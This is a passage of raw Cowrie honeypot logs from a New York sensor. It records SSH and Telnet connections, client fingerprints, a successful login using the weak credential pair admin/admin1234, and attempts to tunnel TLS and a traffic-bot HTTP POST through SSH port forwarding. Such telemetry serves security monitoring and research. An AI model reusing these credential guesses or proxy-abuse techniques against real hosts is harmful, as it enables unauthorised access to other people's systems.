\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 `\\x8e\\x8a\\xcb\\xd0\\xd8\\xcd\\xb5(-V\\xcf.\"\\xf4!\\xb9\\x08\\xf73\\x87\\xfe\\xdc0\\xe9A\\x14\\xeex\\x1a\\xc0\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032[r\\xe7ft\\xf5\\xf0\\x0eM\\xdfQ\\xb8\\x0b\\x81\\xec\\xe0Kx\\xcan\\xc94\\xf1\\xd8\\xf8\\n5\\x82\\xe4\\x89\\r rP\\xf2\\x97\\xce\\x86\\xdc\\x00\\xb0O\\xd5\\x1a\\xc2qvV=T\\x14R\\xca\\xa3\\x8c\\xaa\\r\\xe22\\xc1\\xb5NK\\xe1\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 `\\x8e\\x8a\\xcb\\xd0\\xd8\\xcd\\xb5(-V\\xcf.\"\\xf4!\\xb9\\x08\\xf73\\x87\\xfe\\xdc0\\xe9A\\x14\\xeex\\x1a\\xc0\\x01\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:20.958574Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.75799536705017,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:21.112056Z","src_ip":"172.81.62.90","session":"21d89a194b75","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:21.435539Z","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:21.680753Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\xba\\x04kR\\xbe\\xda\\xdae\\t8i\\x15\\xc7\\xa3\\xf4gv\\x80u\\xd1\\x99y4\\\\\\xd3\\xd16\\x08\\xf3T^ K}\\xcd\\xc1\\xa6,\\xa3\\x0c\\x9b\\xc0fcRo\\xce\\x03g\\xc2\\xe6]r\\xfe\\xc8\\xde\\x15\\x99\\xa0\\x1b$\\x1f\\xf0\\xbc\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b/]9ho\\xe0\\xee@\\xaf\\x8fa\\xb8\\xfdf\\x03\\x001\\xb2\\xcdMA3\\x17\\xb9\\x9e\\xae\\x87)\\xb4ES\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\xba\\x04kR\\xbe\\xda\\xdae\\t8i\\x15\\xc7\\xa3\\xf4gv\\x80u\\xd1\\x99y4\\\\\\xd3\\xd16\\x08\\xf3T^ K}\\xcd\\xc1\\xa6,\\xa3\\x0c\\x9b\\xc0fcRo\\xce\\x03g\\xc2\\xe6]r\\xfe\\xc8\\xde\\x15\\x99\\xa0\\x1b$\\x1f\\xf0\\xbc\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b/]9ho\\xe0\\xee@\\xaf\\x8fa\\xb8\\xfdf\\x03\\x001\\xb2\\xcdMA3\\x17\\xb9\\x9e\\xae\\x87)\\xb4ES\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:21.683497Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:22.047029Z","src_ip":"123.27.168.40","session":"ffe2b6551c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.15686368942261,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:30.474871Z","src_ip":"128.199.8.54","session":"acc8df17c6a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33818,"dst_ip":"159.203.135.109","dst_port":23,"session":"87de062b437f","protocol":"telnet","message":"New connection: 172.81.62.90:33818 (159.203.135.109:23) [session: 87de062b437f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:31.897593Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":51444,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a52fa318930","protocol":"ssh","message":"New connection: 38.46.222.137:51444 (10.17.0.5:22) [session: 6a52fa318930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:33.416599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:33.419624Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:33.496380Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:34.195364Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:39.975451Z","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:40.028496Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SyhUVGwpQ144YzdYUUsxQA%3D%3DX81odBOpTHx71A0vmJicp3bEi%2B%2FtCuy6g8bdGis%2BzJEY6ilHojo7WZgqUcLcOb%2BzCfEk5CXdYuUgYb7fGS%2B7jpui%2BmA%2B6W%2BYGikdRgRzSOfhYAI4eAFyX%2BMKUs3WWyFdAjXC2yj3fveFjZqddpqHPtFltdPwf9AQfUJidd6%2FjacJLGV2gjn4SEehjAMIpxMSUi9oyTgBy3zqqpNRXPVayOoV6ZiQz%2BDS0HVbusCOiRyW%2FSwJ1X7vEuNpcx9ftJwNzK%2Fk%2FiwSMQxPqzlVJApN1%2Bq76M6xCrNpzwwbwECGpUCBAq44g6TblKPbgUatpIIe%2Bc10QuV%2FpERtQnmZRj2BxbnM9bshD54kMB6YoiqHRdH%2BFlEurd%2FB1DCWVG%2BySkhiKVqPqD7AT5ZROnuKuGf3FKTmDA2RDo4%2FS%2Fb86LBASok%2BUh3qe1vHcjD4NaupN1yaD%2FjPVeeuMpfbUSbg5HJuE78gbD2gwzizzewLD3HdS2HaL%2FoKZOGvbnG9hjiwi15EXc%2Frk6jRSdKu30K4rqLzPX8Lmd5N4RDxJUgpizAX0TgR%2B5ilWQl4xcdpHhwe1oCl6I7j27q5BfYlu1RN92ejvFlJVM7OeXjZfrfHphK4DtOkhSwtHkWy8zX%2Fg7YZ9BUHUpRzk2NuujqwEIUMEA6ZUipaipGJbDUY72NPP37B5oprqBvzWKUsJSY4lysULB2AS51lr7um8Kz9nHkKKBl%2FRf3KwEUcpIJPNI0kMLVtmnkB9NYXf4qvbaNYP0SWj7ghLjoGJ47UsOWbVrfeedmLIXZWoQzYZdR4ws1c9gK5rChHJ5vq2HWJ66AZvb2PrxaP1ZBNRh2ad17gtSaiQUvYr66oMi9G6ZPZSpV7wMXD2RXp5rCCDdVCPWOzjmfo3yzwfiQSkFnmEtIwJiafbeDdf6seToJIYW9wBcL9AEALlPMQ7qMQWIdqxn%2BYJqObycO0YWDx70FJEXkk79T7w8yir8K7iZ%2FBTWxcQ2hI2%2BkJRpHzJ2kGQ66QrbLTSNY11IpPw17MwF5rjKE85jX3dtvIjnVq95eaKQOH184w8gJwpeSHJkskhVHZOcw87AMRENuD'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SyhUVGwpQ144YzdYUUsxQA%3D%3DX81odBOpTHx71A0vmJicp3bEi%2B%2FtCuy6g8bdGis%2BzJEY6ilHojo7WZgqUcLcOb%2BzCfEk5CXdYuUgYb7fGS%2B7jpui%2BmA%2B6W%2BYGikdRgRzSOfhYAI4eAFyX%2BMKUs3WWyFdAjXC2yj3fveFjZqddpqHPtFltdPwf9AQfUJidd6%2FjacJLGV2gjn4SEehjAMIpxMSUi9oyTgBy3zqqpNRXPVayOoV6ZiQz%2BDS0HVbusCOiRyW%2FSwJ1X7vEuNpcx9ftJwNzK%2Fk%2FiwSMQxPqzlVJApN1%2Bq76M6xCrNpzwwbwECGpUCBAq44g6TblKPbgUatpIIe%2Bc10QuV%2FpERtQnmZRj2BxbnM9bshD54kMB6YoiqHRdH%2BFlEurd%2FB1DCWVG%2BySkhiKVqPqD7AT5ZROnuKuGf3FKTmDA2RDo4%2FS%2Fb86LBASok%2BUh3qe1vHcjD4NaupN1yaD%2FjPVeeuMpfbUSbg5HJuE78gbD2gwzizzewLD3HdS2HaL%2FoKZOGvbnG9hjiwi15EXc%2Frk6jRSdKu30K4rqLzPX8Lmd5N4RDxJUgpizAX0TgR%2B5ilWQl4xcdpHhwe1oCl6I7j27q5BfYlu1RN92ejvFlJVM7OeXjZfrfHphK4DtOkhSwtHkWy8zX%2Fg7YZ9BUHUpRzk2NuujqwEIUMEA6ZUipaipGJbDUY72NPP37B5oprqBvzWKUsJSY4lysULB2AS51lr7um8Kz9nHkKKBl%2FRf3KwEUcpIJPNI0kMLVtmnkB9NYXf4qvbaNYP0SWj7ghLjoGJ47UsOWbVrfeedmLIXZWoQzYZdR4ws1c9gK5rChHJ5vq2HWJ66AZvb2PrxaP1ZBNRh2ad17gtSaiQUvYr66oMi9G6ZPZSpV7wMXD2RXp5rCCDdVCPWOzjmfo3yzwfiQSkFnmEtIwJiafbeDdf6seToJIYW9wBcL9AEALlPMQ7qMQWIdqxn%2BYJqObycO0YWDx70FJEXkk79T7w8yir8K7iZ%2FBTWxcQ2hI2%2BkJRpHzJ2kGQ66QrbLTSNY11IpPw17MwF5rjKE85jX3dtvIjnVq95eaKQOH184w8gJwpeSHJkskhVHZOcw87AMRENuD'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:40.031527Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:40.547810Z","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:40.601914Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\x12\\xc1\\x07\\xb7\\xc3d\\xe5B\\r\\x05\\x07\\x02a\\xc5\\xa5\\x9d\\n\\xb3\\x82S\\x0eW\\x01\\xe8\\xcc[U\\x8f\\x8e\\xfby \\xfc\\xf4\\xb6*w2\\x92\\x97\\x90\\x94\\x93\\x8e\\xff\\xf8\\xbe\\xd1\\x12\\xa3~s\\xc7\\xd8\\xda\\n\\xd1\\xa4\\x88\\xf8\"\\x90\\xf2\\x96\\x00 